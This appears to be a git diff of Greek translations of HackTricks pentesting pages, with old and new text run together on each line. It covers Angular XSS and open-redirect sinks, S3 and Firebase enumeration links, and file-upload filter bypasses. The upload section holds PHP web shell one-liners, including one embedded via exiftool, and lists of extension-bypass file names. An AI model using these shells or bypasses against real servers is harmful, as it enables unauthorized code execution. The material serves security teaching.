Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη δεσμεύεται σε οποιαδήποτε από τις τρεις ιδιότητες: `innerHTML`, `outerHTML`, ή `iframe` `srcdoc`. Ενώ η δέσμευση σε αυτά τα attributes ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας `SecurityContext.HTML`. Έτσι, είναι δυνατή η εισαγωγή HTML, αλλά η διασταυρούμενη σενάριο (XSS) δεν είναι. Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη είναι δεσμευμένη σε οποιαδήποτε από τις τρεις ιδιότητες: `innerHTML`, `outerHTML`, ή `iframe` `srcdoc`. Ενώ η δέσμευση σε αυτά τα χαρακτηριστικά ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας `SecurityContext.HTML`. Έτσι, είναι δυνατή η εισαγωγή HTML, αλλά η διασταυρούμενη σκριπτογράφηση (XSS) δεν είναι.
Παράδειγμα χρήσης `innerHTML`: Παράδειγμα χρήσης `innerHTML`:
```jsx ```jsx
@ -210,7 +210,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html //app.component.html
<div [innerHTML]="test"></div> <div [innerHTML]="test"></div>
``` ```
Το αποτέλεσμα είναι `<div><h1>test</h1></div>`. <div><h1>test</h1></div>
### Εισαγωγή προτύπων ### Εισαγωγή προτύπων
@ -233,7 +233,7 @@ template: '<h1>title</h1>' + _userInput
Σε αντίθεση με το CSR, το οποίο συμβαίνει στο DOM του προγράμματος περιήγησης, το Angular Universal είναι υπεύθυνο για το SSR των αρχείων προτύπων. Αυτά τα αρχεία παραδίδονται στη συνέχεια στον χρήστη. Παρά αυτή τη διάκριση, το Angular Universal εφαρμόζει τους ίδιους μηχανισμούς απολύμανσης που χρησιμοποιούνται στο CSR για να ενισχύσει την ασφάλεια του SSR. Μια ευπάθεια εισαγωγής προτύπου στο SSR μπορεί να εντοπιστεί με τον ίδιο τρόπο όπως στο CSR, επειδή η χρησιμοποιούμενη γλώσσα προτύπων είναι η ίδια. Σε αντίθεση με το CSR, το οποίο συμβαίνει στο DOM του προγράμματος περιήγησης, το Angular Universal είναι υπεύθυνο για το SSR των αρχείων προτύπων. Αυτά τα αρχεία παραδίδονται στη συνέχεια στον χρήστη. Παρά αυτή τη διάκριση, το Angular Universal εφαρμόζει τους ίδιους μηχανισμούς απολύμανσης που χρησιμοποιούνται στο CSR για να ενισχύσει την ασφάλεια του SSR. Μια ευπάθεια εισαγωγής προτύπου στο SSR μπορεί να εντοπιστεί με τον ίδιο τρόπο όπως στο CSR, επειδή η χρησιμοποιούμενη γλώσσα προτύπων είναι η ίδια.
Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως το Pug και το Handlebars. Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως οι Pug και Handlebars.
### XSS ### XSS
@ -292,7 +292,7 @@ document.body.appendChild(a);
``` ```
#### Angular classes #### Angular classes
Υπάρχουν κάποιες κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: `ElementRef`, `Renderer2`, `Location` και `Document`. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων δίνεται στην ενότητα **Open redirects**. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API `Renderer2` παρέχει μια στρώση αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το `ElementRef` απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API `ElementRef` θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM. Υπάρχουν μερικές κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: `ElementRef`, `Renderer2`, `Location` και `Document`. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων παρέχεται στην ενότητα **Open redirects**. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API `Renderer2` παρέχει μια στρώση αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το `ElementRef` απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API `ElementRef` θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM.
* `ElementRef` περιέχει την ιδιότητα `nativeElement`, η οποία μπορεί να χρησιμοποιηθεί για να χειριστεί τα στοιχεία DOM. Ωστόσο, η ακατάλληλη χρήση του `nativeElement` μπορεί να οδηγήσει σε ευπάθεια XSS, όπως φαίνεται παρακάτω: * `ElementRef` περιέχει την ιδιότητα `nativeElement`, η οποία μπορεί να χρησιμοποιηθεί για να χειριστεί τα στοιχεία DOM. Ωστόσο, η ακατάλληλη χρήση του `nativeElement` μπορεί να οδηγήσει σε ευπάθεια XSS, όπως φαίνεται παρακάτω:
@ -375,9 +375,9 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
#### jQuery #### jQuery
Το jQuery είναι μια γρήγορη, μικρή και πλούσια σε χαρακτηριστικά βιβλιοθήκη JavaScript που μπορεί να χρησιμοποιηθεί στο έργο Angular για να βοηθήσει με την χειρισμό των αντικειμένων HTML DOM. Ωστόσο, όπως είναι γνωστό, οι μέθοδοι αυτής της βιβλιοθήκης μπορεί να εκμεταλλευτούν για να επιτευχθεί μια ευπάθεια XSS. Για να συζητήσουμε πώς ορισμένες ευάλωτες μέθοδοι jQuery μπορούν να εκμεταλλευτούν σε έργα Angular, προσθέσαμε αυτή την υποενότητα. Το jQuery είναι μια γρήγορη, μικρή και πλούσια σε χαρακτηριστικά βιβλιοθήκη JavaScript που μπορεί να χρησιμοποιηθεί στο έργο Angular για να βοηθήσει με την επεξεργασία των αντικειμένων HTML DOM. Ωστόσο, όπως είναι γνωστό, οι μέθοδοι αυτής της βιβλιοθήκης μπορεί να εκμεταλλευτούν για να επιτευχθεί μια ευπάθεια XSS. Για να συζητήσουμε πώς ορισμένες ευάλωτες μέθοδοι jQuery μπορούν να εκμεταλλευτούν σε έργα Angular, προσθέσαμε αυτή την υποενότητα.
* Η μέθοδος `html()` αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την εισαγωγή ετικετών `<script>` ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα. * Η μέθοδος `html()` αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την έγχυση ετικετών `<script>` ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα.
```tsx ```tsx
//app.component.ts //app.component.ts
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
``` ```
* `window.open()` * `window.open()`
Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει τον πόρο που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία να ενεργοποιηθεί μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης. Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει τον πόρο που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία για να ενεργοποιήσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης.
```tsx ```tsx
//app.component.ts //app.component.ts
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angular classes #### Angular classes
* Σύμφωνα με την τεκμηρίωση του Angular, το Angular `Document` είναι το ίδιο με το έγγραφο DOM, που σημαίνει ότι είναι δυνατή η χρήση κοινών διαδρόμων για το έγγραφο DOM για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι `Document.location` μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα: * Σύμφωνα με την τεκμηρίωση του Angular, το Angular `Document` είναι το ίδιο με το DOM έγγραφο, που σημαίνει ότι είναι δυνατό να χρησιμοποιηθούν κοινοί διάδρομοι για το DOM έγγραφο για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι `Document.location` μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα:
```tsx ```tsx
//app.component.ts //app.component.ts
@ -558,7 +558,7 @@ console.log(this.location.go("http://google.com/about"));
``` ```
Αποτέλεσμα: `http://localhost:4200/http://google.com/about` Αποτέλεσμα: `http://localhost:4200/http://google.com/about`
* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει καμία επιπλέον ευπάθεια στην εφαρμογή: * Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει επιπλέον ευπάθειες στην εφαρμογή:
```jsx ```jsx
//app-routing.module.ts //app-routing.module.ts
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts) * [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md) * [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal) * [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss) * [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef) * [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2) * [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/) * [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)

View File

@ -5,7 +5,7 @@
Ελέγξτε αυτή τη σελίδα αν θέλετε να μάθετε περισσότερα για την καταμέτρηση και την κακή χρήση των Κάδων: Ελέγξτε αυτή τη σελίδα αν θέλετε να μάθετε περισσότερα για την καταμέτρηση και την κακή χρήση των Κάδων:
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}} {{#endref}}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,12 @@
## Τι είναι το Firebase ## Τι είναι το Firebase
Το Firebase είναι μια Υπηρεσία-ως-Πίσω (Backend-as-a-Service) κυρίως για κινητές εφαρμογές. Επικεντρώνεται στην αφαίρεση του βάρους προγραμματισμού του πίσω μέρους παρέχοντας ένα ωραίο SDK καθώς και πολλά άλλα ενδιαφέροντα πράγματα που διευκολύνουν την αλληλεπίδραση μεταξύ της εφαρμογής και του πίσω μέρους. Το Firebase είναι μια Υπηρεσία-ως-Πίσω (Backend-as-a-Service) κυρίως για κινητές εφαρμογές. Επικεντρώνεται στην αφαίρεση του βάρους προγραμματισμού του back-end παρέχοντας ένα ωραίο SDK καθώς και πολλά άλλα ενδιαφέροντα πράγματα που διευκολύνουν την αλληλεπίδραση μεταξύ της εφαρμογής και του back-end.
Μάθετε περισσότερα για το Firebase στο: Μάθετε περισσότερα για το Firebase στο:
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}} {{#endref}}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -17,11 +17,11 @@
### Bypass file extensions checks ### Bypass file extensions checks
1. Αν ισχύουν, **έλεγξε** τις **προηγούμενες επεκτάσεις.** Δοκίμασέ τις επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._ 1. Αν ισχύουν, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης να τις χρησιμοποιήσετε με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
2. _Έλεγξε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποίησε και τις προηγούμενες επεκτάσεις):_ 2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
- _file.png.php_ - _file.png.php_
- _file.png.Php5_ - _file.png.Php5_
3. Δοκίμασε να προσθέσεις **ειδικούς χαρακτήρες στο τέλος.** Μπορείς να χρησιμοποιήσεις το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημείωσε ότι μπορείς επίσης να δοκιμάσεις να χρησιμοποιήσεις τις **προηγούμενες** αναφερόμενες **επεκτάσεις**_) 3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγούμενες** αναφερόμενες **επεκτάσεις**_)
- _file.php%20_ - _file.php%20_
- _file.php%0a_ - _file.php%0a_
- _file.php%00_ - _file.php%00_
@ -31,7 +31,7 @@
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. Δοκίμασε να παρακάμψεις τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείς επίσης να χρησιμοποιήσεις τις **προηγούμενες επεκτάσεις** για να προετοιμάσεις ένα καλύτερο payload._ 4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε μια καλύτερη payload._
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -40,13 +40,13 @@
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. Πρόσθεσε **άλλη μια στρώση επεκτάσεων** στον προηγούμενο έλεγχο: 5. Προσθέστε **μια άλλη στρώση επεκτάσεων** στον προηγούμενο έλεγχο:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. Δοκίμασε να βάλεις την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχήσου ώστε ο διακομιστής να είναι κακορυθμισμένος. (χρήσιμο για να εκμεταλλευτείς κακορυθμίσεις του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα): 6. Δοκιμάστε να βάλετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για την εκμετάλλευση κακοδιαμορφώσεων του Apache όπου οτιδήποτε με επέκταση **.php** θα εκτελεί κώδικα):
- _ex: file.php.png_ - _ex: file.php.png_
7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψεις περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”) 7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψει περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”)
8. Δοκίμασε να σπάσεις τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php 8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
``` ```
# Linux maximum 255 bytes # Linux maximum 255 bytes
@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass Content-Type, Magic Number, Compression & Resizing ### Bypass Content-Type, Magic Number, Compression & Resizing
- Παρακάμψε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_ - Παρακάμψτε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας** **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Παρακάμψε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπέρδεψε την _file_ εντολή). Ή εισήγαγε το shell μέσα στα **metadata**:\ - Παρακάμψτε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ή μπορείς επίσης να **εισάγεις το payload απευθείας** σε μια εικόνα:\ `\` ή μπορείτε επίσης να **εισάγετε την payload απευθείας** σε μια εικόνα:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Αν **συμπίεση προστίθεται στην εικόνα σου**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείς να χρησιμοποιήσεις την **PLTE chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - Αν **συμπίεση προστίθεται στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **IDAT chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Μια άλλη τεχνική για να δημιουργήσεις ένα payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **tEXt chunk** [**τεχνική που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - Μια άλλη τεχνική για να δημιουργήσετε μια payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check ### Other Tricks to check
- Βρες μια ευπάθεια για να **μετονομάσεις** το αρχείο που έχει ήδη ανέβει (για να αλλάξεις την επέκταση). - Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
- Βρες μια ευπάθεια **Local File Inclusion** για να εκτελέσεις το backdoor. - Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε την backdoor.
- **Πιθανή αποκάλυψη πληροφοριών**: - **Πιθανή αποκάλυψη πληροφοριών**:
1. Ανέβασε **αρκετές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα** 1. Ανεβάστε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
2. Ανέβασε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη** 2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
3. Ανέβασε ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”. 3. Ανεβάζοντας ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.
4. Ανέβασε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows) 4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows)
5. Ανέβασε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows) 5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
6. Ανέβασε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9. 6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
- Δοκίμασε επίσης να **ανεβάσεις ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελεί κώδικα** όταν ακούσια ανοιχτεί από το θύμα. - Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ακούσια ανοιχτεί από το θύμα.
### Special extension tricks ### Special extension tricks
Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **PHP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.htaccess** για να εκτελέσεις κώδικα](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP διακομιστή**, [ρίξτε μια ματιά στο κόλπο **.htaccess** για να εκτελέσετε κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **ASP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.config** για να εκτελέσεις κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP διακομιστή**, [ρίξτε μια ματιά στο κόλπο **.config** για να εκτελέσετε κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
